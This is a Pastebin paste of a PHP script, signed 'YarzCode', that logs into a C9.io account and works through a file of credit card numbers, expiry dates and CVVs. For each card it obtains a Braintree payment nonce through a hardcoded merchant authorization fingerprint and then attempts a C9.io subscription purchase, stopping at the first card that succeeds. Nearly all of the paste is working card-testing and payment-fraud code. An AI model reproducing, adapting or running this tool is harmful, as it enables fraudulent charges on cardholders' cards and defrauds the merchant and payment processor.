Guest User

pay

a guest
Jan 18th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.17 KB | None | 0 0
  1. <?php
  2. require 'lib.php';
  3. // C9.IO Auto Payment | Good Idea - YarzCode
  4. function getNonce($cc)
  5. {
  6. $cc = explode("|", $cc);
  7. $ccnum = trim($cc[0]);
  8. $ccexp = trim($cc[1])."/".trim($cc[2]);
  9. $cvv = trim($cc[3]);
  10. $url = 'https://api.braintreegateway.com/merchants/zfpfskb7t777z87y/client_api/v1/payment_methods/credit_cards?sharedCustomerIdentifierType=undefined&braintreeLibraryVersion=&authorizationFingerprint=01d8882487a51d7b4430c37146808cbf4b8105ff2833521d4593dcfff5b784e9%7Ccreated_at%3D2019-01-18T04%3A48%3A35.924081265%2B0000%26merchant_id%3Dzfpfskb7t777z87y%26public_key%3Ddd438nvhb328z48w&_meta%5Bintegration%5D=custom&_meta%5Bsource%5D=form&_meta%5BsessionId%5D=497d55a1-b257-4622-826a-118f79377f4a&share=undefined&creditCard%5BbillingAddress%5D%5BpostalCode%5D=11312&creditCard%5BcardholderName%5D=asddas&creditCard%5Bnumber%5D='.$ccnum.'&creditCard%5BexpirationDate%5D='.urlencode($ccexp).'&creditCard%5Bcvv%5D='.$cvv.'&creditCard%5Boptions%5D%5Bvalidate%5D=false&_method=POST&callback=callback_json7f807a7aa025420cbe0510361547d519';
  11. $send = yarzCurl($url);
  12. preg_match('/"nonce":"(.*?)"/', $send[1], $nonce);
  13. if(isset($nonce[1]))
  14. {
  15. return $nonce[1];
  16. } else {
  17. return false;
  18. }
  19. }
  20.  
  21. function login($email, $password)
  22. {
  23. $headers = array();
  24. $headers[] = 'Origin: https://c9.io';
  25. $headers[] = 'Accept-Encoding: gzip, deflate, br';
  26. $headers[] = 'Accept-Language: en-US,en;q=0.9';
  27. $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36';
  28. $headers[] = 'Content-Type: application/json';
  29. $headers[] = 'Accept: */*';
  30. $headers[] = 'Referer: https://c9.io/login';
  31. $headers[] = 'X-Requested-With: xmlhttprequest';
  32. $headers[] = 'Connection: keep-alive';
  33. $send = yarzCurl('https://c9.io/auth/login', '{"username":"'.$email.'","password":"'.$password.'"}', 'cookies.txt' , $headers, false, true);
  34. if(stripos($send[1], '"uid"'))
  35. {
  36. $sendAg = yarzCurl('https://c9.io/api/nc/auth?client_id=profile_direct&responseType=direct&login_hint=&immediate=1', false, 'cookies.txt');
  37. return $sendAg[1];
  38. } else {
  39. return false;
  40. }
  41. }
  42.  
  43. function payment($token, $nonce)
  44. {
  45. $headers = array();
  46. $headers[] = 'Origin: https://c9.io';
  47. $headers[] = 'Accept-Encoding: gzip, deflate, br';
  48. $headers[] = 'Accept-Language: en-US,en;q=0.9';
  49. $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36';
  50. $headers[] = 'Content-Type: application/json';
  51. $headers[] = 'Accept: application/json';
  52. $headers[] = 'Connection: keep-alive';
  53. $send = '{"add":"2c92a0f951381feb015158e0c17a0f96","account":{"paymentMethodNonce":"'.$nonce.'"}}';
  54. $subs = 'https://api.c9.io/account/subscription?access_token='.$token;
  55. $pay = yarzCurl($subs, $send, false, $headers);
  56.  
  57. if(!stripos($pay[1], 'error'))
  58. {
  59. return 'SUCCESS';
  60. } else {
  61. preg_match('/"message":"(.*?)"/', $pay[1], $msg);
  62. return $msg[1];
  63. }
  64. }
  65. echo "YarzCode - Silent is better than bullshit.\n\n";
  66. echo 'Enter username: ';
  67. $username = trim(fgets(STDIN));
  68. echo 'Enter password: ';
  69. $password = trim(fgets(STDIN));
  70.  
  71. $login = login($username, $password);
  72.  
  73. if($login !== false)
  74. {
  75. echo "\n\n";
  76. echo "Enter List CC: ";
  77. $fileList = trim(fgets(STDIN));
  78. if(!file_exists($fileList))
  79. {
  80. die("Error: List not found");
  81. }
  82. $dataList = file_get_contents($fileList);
  83. $fak = explode("\n", $dataList);
  84. foreach($fak as $data)
  85. {
  86. $cc = explode("|", $data);
  87. $ccnum = trim($cc[0]);
  88. $ccexp = trim($cc[1])."/".trim($cc[2]);
  89. $cvv = trim($cc[3]);
  90. $format = $ccnum."|".$ccexp."|".$cvv;
  91. $nonce = getNonce($data);
  92. $pay = payment($login, $nonce);
  93. if($pay == 'SUCCESS')
  94. {
  95. echo "$format => Success\n";
  96. die();
  97. } else {
  98. echo "$format => ".$pay."\n";
  99. }
  100. }
  101. } else {
  102. die("\nLogin Failed.");
  103. }
Add Comment
Please, Sign In to add comment